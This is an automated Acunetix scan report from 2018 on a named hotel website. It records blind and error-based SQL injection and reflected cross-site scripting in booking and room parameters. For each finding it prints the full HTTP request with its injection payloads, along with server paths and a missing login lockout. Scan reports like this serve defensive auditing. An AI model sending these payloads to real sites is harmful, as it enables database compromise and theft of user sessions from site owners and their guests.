Affected Items Report

Acunetix website audit

16 August 2018

WEB APPLICATION SECURITY

Generated by Acunetix Reporter

Scan of http://sabeanhotel.com/

Scan details

Scan information	
Start time	15/08/2018, 11:25:15
Start url	http://sabeanhotel.com/
Host	http://sabeanhotel.com/
Scan time	34 minutes, 24 seconds
Profile	High Risk Vulnerabilities

Threat level

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	9
High	8
Medium	0
Low	1
Informational	0

Affected items

/rooms.php	
Alert group	**Blind SQL Injection**
Severity	High
Description	This script is possibly vulnerable to SQL Injection attacks. SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters. This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.
Recommendations	Your script should filter metacharacters from user input. Check detailed information for more information about fixing this vulnerability.
Alert variants	
Details	URL encoded GET input **rtid** was set to **5 AND 3*2*1=6 AND 377=377** Tests performed: • 1*1*1*5 => **TRUE** • 5*377*372*0 => **FALSE** • 15*5*2*999 => **FALSE** • 5*1*1 => **TRUE** • 1*1*1*1*1*5 => **TRUE** • 15*1*1*0*1*1*377 => **FALSE** • 5 AND 5*4=20 AND 377=377 => **TRUE** • 5 AND 5*4=21 AND 377=377 => **FALSE** • 5 AND 5*6<26 AND 377=377 => **FALSE** • 5 AND 7*7>48 AND 377=377 => **TRUE** • 5 AND 3*2*0=6 AND 377=377 => **FALSE** • 5 AND 3*2*1=6 AND 377=377 => **TRUE** Original value: **5**

```
GET /rooms.php?rtid=5%20AND%203*2*1=6%20AND%20377=377 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://sabeanhotel.com/
Cookie: PHPSESSID=93d266c8a6942c099d58085b8a94922b; act=move; f=N%3B;
c=%2Fhome%2Fsabeanho%2Fpublic_html%2Fadmin%2Fcalendar%2Flang%2F
Host: sabeanhotel.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/index.php	
Alert group	**Blind SQL Injection**
Severity	High
Description	This script is possibly vulnerable to SQL Injection attacks. SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters. This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.
Recommendations	Your script should filter metacharacters from user input. Check detailed information for more information about fixing this vulnerability.

Alert variants	
Details	URL encoded POST input **x_arrivaldate** was set to **if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/** Tests performed: - if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/ => **9.407** - if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => **6.459** - if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/ => **3.37** - if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.374** - if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.39** - if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.374** - if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.39** - if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => **6.396** - if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.374** Original value: **01/01/1967**

```
POST /index.php HTTP/1.1
Content-Length: 268
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://sabeanhotel.com/
Cookie: PHPSESSID=93d266c8a6942c099d58085b8a94922b; act=move; f=N%3B;
c=%2Fhome%2Fsabeanho%2Fpublic_html%2Fadmin%2Fcalendar%2Flang%2F
Host: sabeanhotel.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Action=Book%20Now!!&a_add=A&x_arrivaldate=if(now()=sysdate()%2csleep(0)%2c0)/*'XOR(if(now()=
sysdate()%2csleep(0)%2c0))OR'"XOR(if(now()=sysdate()%2csleep(0)%2c0))OR"*/&x_departdate=01/0
1/1967&x_email=sample%40email.tst&x_from=1&x_fullname=epvtxwnl&x_nopeople=0&x_rtid=5
```

/index.php	
Alert group	**Blind SQL Injection**
Severity	High
Description	This script is possibly vulnerable to SQL Injection attacks. SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters. This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.
Recommendations	Your script should filter metacharacters from user input. Check detailed information for more information about fixing this vulnerability.
Alert variants	
	URL encoded POST input **x_departdate** was set to **if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/**

Details	Tests performed: - if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => **6.443** - if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/ => **9.391** - if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.421** - if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/ => **3.385** - if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.484** - if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.437** - if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.483** - if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => **6.412** - if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.39** Original value: **01/01/1967**

```
POST /index.php HTTP/1.1
Content-Length: 268
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://sabeanhotel.com/
Cookie: PHPSESSID=93d266c8a6942c099d58085b8a94922b; act=move; f=N%3B;
c=%2Fhome%2Fsabeanho%2Fpublic_html%2Fadmin%2Fcalendar%2Flang%2F
Host: sabeanhotel.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Action=Book%20Now!!&a_add=A&x_arrivaldate=01/01/1967&x_departdate=if(now()=sysdate()%2csleep
(0)%2c0)/*'XOR(if(now()=sysdate()%2csleep(0)%2c0))OR'"XOR(if(now()=sysdate()%2csleep(0)%2c0)
)OR"*/&x_email=sample%40email.tst&x_from=1&x_fullname=epvtxwnl&x_nopeople=0&x_rtid=5
```

/index.php	
Alert group	**Cross site scripting**
Severity	High
Description	This script is possibly vulnerable to Cross Site Scripting (XSS) attacks. Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.
Recommendations	Your script should filter metacharacters from user input.
Alert variants	
Details	URL encoded POST input **x_arrivaldate** was set to **'"()&%<acx><ScRiPt >FPLz(9379)</ScRiPt>**

```
POST /index.php HTTP/1.1
Content-Length: 189
Content-Type: application/x-www-form-urlencoded
Referer: http://sabeanhotel.com/
Cookie: PHPSESSID=93d266c8a6942c099d58085b8a94922b; act=move; f=N%3B;
c=%2Fhome%2Fsabeanho%2Fpublic_html%2Fadmin%2Fcalendar%2Flang%2F
Host: sabeanhotel.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

```
Accept: */*
Action=Book%20Now!!&a_add=A&x_arrivaldate='"()%26%25<acx><ScRiPt%20>FPLz(9379)
</ScRiPt>&x_departdate=01/01/1967&x_email=sample%40email.tst&x_from=1&x_fullname=xbbpvxmk&x_
nopeople=0&x_rtid=5
```

/index.php	
Alert group	**Cross site scripting**
Severity	High
Description	This script is possibly vulnerable to Cross Site Scripting (XSS) attacks. Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.
Recommendations	Your script should filter metacharacters from user input.
Alert variants	
Details	URL encoded POST input **x_departdate** was set to **'"()&%<acx><ScRiPt >FPLz(9943) </ScRiPt>**

```
POST /index.php HTTP/1.1
Content-Length: 189
Content-Type: application/x-www-form-urlencoded
Referer: http://sabeanhotel.com/
Cookie: PHPSESSID=93d266c8a6942c099d58085b8a94922b; act=move; f=N%3B;
c=%2Fhome%2Fsabeanho%2Fpublic_html%2Fadmin%2Fcalendar%2Flang%2F
Host: sabeanhotel.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Action=Book%20Now!!&a_add=A&x_arrivaldate=01/01/1967&x_departdate='"()%26%25<acx>
<ScRiPt%20>FPLz(9943)
</ScRiPt>&x_email=sample%40email.tst&x_from=1&x_fullname=gxssmjsf&x_nopeople=0&x_rtid=5
```

/rooms.php	
Alert group	**SQL injection**
Severity	High
Description	This script is possibly vulnerable to SQL Injection attacks. SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters. This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.
Recommendations	Your script should filter metacharacters from user input. Check detailed information for more information about fixing this vulnerability.
Alert variants	
Details	URL encoded GET input **rtid** was set to **1'"** Error message found: <b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>/home/sabeanho/public_html/rooms.php</b> on line <b>175</b>

```
GET /rooms.php?rtid=1'" HTTP/1.1
Referer: http://sabeanhotel.com/
Cookie: PHPSESSID=93d266c8a6942c099d58085b8a94922b; act=move; f=N%3B;
c=%2Fhome%2Fsabeanho%2Fpublic_html%2Fadmin%2Fcalendar%2Flang%2F
```

```
Host: sabeanhotel.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/index.php	
Alert group	**SQL injection**
Severity	High
Description	This script is possibly vulnerable to SQL Injection attacks. SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters. This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.
Recommendations	Your script should filter metacharacters from user input. Check detailed information for more information about fixing this vulnerability.
Alert variants	
Details	URL encoded POST input **x_arrivaldate** was set to **1'"** Error message found: `You have an error in your SQL syntax`

```
POST /index.php HTTP/1.1
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
Referer: http://sabeanhotel.com/
Cookie: PHPSESSID=93d266c8a6942c099d58085b8a94922b; act=move; f=N%3B;
c=%2Fhome%2Fsabeanho%2Fpublic_html%2Fadmin%2Fcalendar%2Flang%2F
Host: sabeanhotel.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Action=Book%20Now!!&a_add=A&x_arrivaldate=1'"&x_departdate=01/01/1967&x_email=sample%40email
.tst&x_from=1&x_fullname=dnbtpcuv&x_nopeople=0&x_rtid=5
```

/index.php	
Alert group	**SQL injection**
Severity	High
Description	This script is possibly vulnerable to SQL Injection attacks. SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters. This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.
Recommendations	Your script should filter metacharacters from user input. Check detailed information for more information about fixing this vulnerability.
Alert variants	
Details	URL encoded POST input **x_departdate** was set to **1'"** Error message found:

```
You have an error in your SQL syntax
```

```
POST /index.php HTTP/1.1
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
Referer: http://sabeanhotel.com/
Cookie: PHPSESSID=93d266c8a6942c099d58085b8a94922b; act=move; f=N%3B; c=%2Fhome%2Fsabeanho%2Fpublic_html%2Fadmin%2Fcalendar%2Flang%2F
Host: sabeanhotel.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Action=Book%20Now!!&a_add=A&x_arrivaldate=01/01/1967&x_departdate=1'"&x_email=sample%40email.tst&x_from=1&x_fullname=dnbtpcuv&x_nopeople=0&x_rtid=5
```

/admin/login.php	
Alert group	**Login page password-guessing attack**
Severity	Low
Description	A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works. This login page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts. Consult Web references for more information about fixing this problem.
Recommendations	It's recommended to implement some type of account lockout after a defined number of incorrect password attempts.
Alert variants	
Details	The scanner tested 10 invalid credentials and no account lockout was detected.

```
POST /admin/login.php HTTP/1.1
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
Referer: http://sabeanhotel.com/
Host: sabeanhotel.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
submit=Login&passwd=aMI5LA2V&userid=DoWcStBL
```

Scanned items (coverage report)

http://sabeanhotel.com/
http://sabeanhotel.com/2019
http://sabeanhotel.com/2019/8
http://sabeanhotel.com/2019/8/1
http://sabeanhotel.com/2019/8/1/index.php
http://sabeanhotel.com/2019/8/10
http://sabeanhotel.com/2019/8/10/index.php
http://sabeanhotel.com/2019/8/11
http://sabeanhotel.com/2019/8/11/index.php
http://sabeanhotel.com/2019/8/12
http://sabeanhotel.com/2019/8/12/index.php
http://sabeanhotel.com/2019/8/13
http://sabeanhotel.com/2019/8/13/index.php
http://sabeanhotel.com/2019/8/14
http://sabeanhotel.com/2019/8/14/index.php
http://sabeanhotel.com/2019/8/15
http://sabeanhotel.com/2019/8/15/index.php
http://sabeanhotel.com/2019/8/16
http://sabeanhotel.com/2019/8/16/index.php
http://sabeanhotel.com/2019/8/17
http://sabeanhotel.com/2019/8/17/index.php
http://sabeanhotel.com/2019/8/18
http://sabeanhotel.com/2019/8/18/index.php
http://sabeanhotel.com/2019/8/19
http://sabeanhotel.com/2019/8/19/index.php
http://sabeanhotel.com/2019/8/20
http://sabeanhotel.com/2019/8/20/index.php
http://sabeanhotel.com/2019/8/21
http://sabeanhotel.com/2019/8/21/index.php
http://sabeanhotel.com/2019/8/22
http://sabeanhotel.com/2019/8/22/index.php
http://sabeanhotel.com/2019/8/23
http://sabeanhotel.com/2019/8/23/index.php
http://sabeanhotel.com/2019/8/24
http://sabeanhotel.com/2019/8/24/index.php
http://sabeanhotel.com/2019/8/25
http://sabeanhotel.com/2019/8/25/index.php
http://sabeanhotel.com/2019/8/26
http://sabeanhotel.com/2019/8/26/index.php
http://sabeanhotel.com/2019/8/27
http://sabeanhotel.com/2019/8/27/index.php
http://sabeanhotel.com/2019/8/28
http://sabeanhotel.com/2019/8/28/index.php
http://sabeanhotel.com/2019/8/29
http://sabeanhotel.com/2019/8/29/index.php
http://sabeanhotel.com/2019/8/30
http://sabeanhotel.com/2019/8/30/index.php
http://sabeanhotel.com/2019/8/4
http://sabeanhotel.com/2019/8/4/index.php
http://sabeanhotel.com/2019/8/5
http://sabeanhotel.com/2019/8/5/index.php
http://sabeanhotel.com/2019/8/6
http://sabeanhotel.com/2019/8/6/index.php
http://sabeanhotel.com/2019/8/7
http://sabeanhotel.com/2019/8/7/index.php
http://sabeanhotel.com/2019/8/8
http://sabeanhotel.com/2019/8/8/index.php
http://sabeanhotel.com/2019/8/9
http://sabeanhotel.com/2019/8/9/index.php
http://sabeanhotel.com/about.php
http://sabeanhotel.com/admin
http://sabeanhotel.com/admin/calendar
http://sabeanhotel.com/admin/calendar/calendar-blue.css
http://sabeanhotel.com/admin/calendar/calendar-blue2.css
http://sabeanhotel.com/admin/calendar/calendar-brown.css
http://sabeanhotel.com/admin/calendar/calendar-en.js
http://sabeanhotel.com/admin/calendar/calendar-green.css

```
http://sabeanhotel.com/admin/calendar/calendar-setup.js
http://sabeanhotel.com/admin/calendar/calendar-system.css
http://sabeanhotel.com/admin/calendar/calendar-win2k-1.css
http://sabeanhotel.com/admin/calendar/calendar-win2k-2.css
http://sabeanhotel.com/admin/calendar/calendar-win2k-cold-1.css
http://sabeanhotel.com/admin/calendar/calendar-win2k-cold-2.css
http://sabeanhotel.com/admin/calendar/calendar.js
http://sabeanhotel.com/admin/calendar/doc
http://sabeanhotel.com/admin/calendar/doc/html
http://sabeanhotel.com/admin/calendar/doc/html/reference-Z-S.css
http://sabeanhotel.com/admin/calendar/doc/html/reference.css
http://sabeanhotel.com/admin/calendar/doc/html/reference.html
http://sabeanhotel.com/admin/calendar/lang
http://sabeanhotel.com/admin/calendar/lang/calendar-af.js
http://sabeanhotel.com/admin/calendar/lang/calendar-br.js
http://sabeanhotel.com/admin/calendar/lang/calendar-ca.js
http://sabeanhotel.com/admin/calendar/lang/calendar-cs-win.js
http://sabeanhotel.com/admin/calendar/lang/calendar-da.js
http://sabeanhotel.com/admin/calendar/lang/calendar-de.js
http://sabeanhotel.com/admin/calendar/lang/calendar-du.js
http://sabeanhotel.com/admin/calendar/lang/calendar-el.js
http://sabeanhotel.com/admin/calendar/lang/calendar-en.js
http://sabeanhotel.com/admin/calendar/lang/calendar-es.js
http://sabeanhotel.com/admin/calendar/lang/calendar-fi.js
http://sabeanhotel.com/admin/calendar/lang/calendar-fr.js
http://sabeanhotel.com/admin/calendar/lang/calendar-hr-utf8.js
http://sabeanhotel.com/admin/calendar/lang/calendar-hr.js
http://sabeanhotel.com/admin/calendar/lang/calendar-hu.js
http://sabeanhotel.com/admin/calendar/lang/calendar-it.js
http://sabeanhotel.com/admin/calendar/lang/calendar-jp.js
http://sabeanhotel.com/admin/calendar/lang/calendar-ko-utf8.js
http://sabeanhotel.com/admin/calendar/lang/calendar-ko.js
http://sabeanhotel.com/admin/calendar/lang/calendar-lt-utf8.js
http://sabeanhotel.com/admin/calendar/lang/calendar-lt.js
http://sabeanhotel.com/admin/calendar/lang/calendar-nl.js
http://sabeanhotel.com/admin/calendar/lang/calendar-no.js
http://sabeanhotel.com/admin/calendar/lang/calendar-pl-utf8.js
http://sabeanhotel.com/admin/calendar/lang/calendar-pl.js
http://sabeanhotel.com/admin/calendar/lang/calendar-pt.js
http://sabeanhotel.com/admin/calendar/lang/calendar-ro.js
http://sabeanhotel.com/admin/calendar/lang/calendar-ru.js
http://sabeanhotel.com/admin/calendar/lang/calendar-si.js
http://sabeanhotel.com/admin/calendar/lang/calendar-sk.js
http://sabeanhotel.com/admin/calendar/lang/calendar-sp.js
http://sabeanhotel.com/admin/calendar/lang/calendar-sv.js
http://sabeanhotel.com/admin/calendar/lang/calendar-tr.js
http://sabeanhotel.com/admin/calendar/lang/calendar-zh.js
http://sabeanhotel.com/admin/calendar/lang/gga.php
http://sabeanhotel.com/admin/calendar/release-notes.html
http://sabeanhotel.com/admin/calendar/simple-1.html
http://sabeanhotel.com/admin/calendar/simple-2.html
http://sabeanhotel.com/admin/calendar/simple-3.html
http://sabeanhotel.com/admin/ew.js
http://sabeanhotel.com/admin/hotel.css
http://sabeanhotel.com/admin/login.php
http://sabeanhotel.com/admin/popcalendar.js
http://sabeanhotel.com/admin/reservationlist.php
http://sabeanhotel.com/admin/upload
http://sabeanhotel.com/admin/upload/us.php
http://sabeanhotel.com/axum.php
http://sabeanhotel.com/cgi-sys
http://sabeanhotel.com/cgi-sys/images
http://sabeanhotel.com/cgi-sys/js
http://sabeanhotel.com/cgi-sys/js/simple-expand.min.js
http://sabeanhotel.com/contact.php
http://sabeanhotel.com/css
http://sabeanhotel.com/css/image-slideshow.css
http://sabeanhotel.com/dining.php
```

http://sabeanhotel.com/favicon.ico
http://sabeanhotel.com/images
http://sabeanhotel.com/index.php
http://sabeanhotel.com/js
http://sabeanhotel.com/js/dw_event.js
http://sabeanhotel.com/js/dw_rotator.js
http://sabeanhotel.com/js/dw_rotator_aux.js
http://sabeanhotel.com/js/image-slideshow.js
http://sabeanhotel.com/meeting.php
http://sabeanhotel.com/photo.php
http://sabeanhotel.com/room.php
http://sabeanhotel.com/rooms.php
http://sabeanhotel.com/style.css